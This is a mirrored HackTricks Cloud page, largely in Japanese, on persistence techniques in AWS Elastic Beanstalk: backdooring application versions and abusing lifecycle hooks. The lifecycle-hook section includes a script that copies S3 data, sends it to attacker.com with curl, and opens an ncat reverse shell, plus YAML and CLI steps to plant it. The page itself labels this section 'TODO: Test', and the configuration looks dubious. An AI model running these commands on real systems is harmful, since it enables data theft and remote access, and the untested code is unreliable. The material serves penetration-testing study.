mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 05:33:10 -08:00
AWS - Elastic Beanstalk 永続化
{{#include ../../../../banners/hacktricks-training.md}}
Elastic Beanstalk
詳細は以下を参照してください:
{{#ref}} ../../aws-services/aws-elastic-beanstalk-enum.md {{#endref}}
インスタンス内での永続化
AWSアカウント内で永続化を維持するために、インスタンス内に何らかの永続化メカニズムを導入することがあります(cron job, ssh key...)。これにより攻撃者はインスタンスにアクセスして、IAM role credentials from the metadata serviceを盗むことが可能になります。
Backdoor in Version
攻撃者はS3リポジトリ内のコードにbackdoorを仕込み、常にそのbackdoorと期待されるコードの両方を実行させることができます。
New backdoored version
実際のバージョンのコードを変更する代わりに、攻撃者はアプリケーションの新しいbackdoored versionをデプロイすることができます。
Abusing Custom Resource Lifecycle Hooks
Note
TODO: Test
Elastic Beanstalkは、インスタンスのプロビジョニングや終了時にカスタムスクリプトを実行できるlifecycle hooksを提供します。攻撃者はlifecycle hookを設定して、定期的にスクリプトを実行し、データをexfiltrateしたり、AWS accountへのアクセスを維持したりすることができます。
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
{{#include ../../../../banners/hacktricks-training.md}}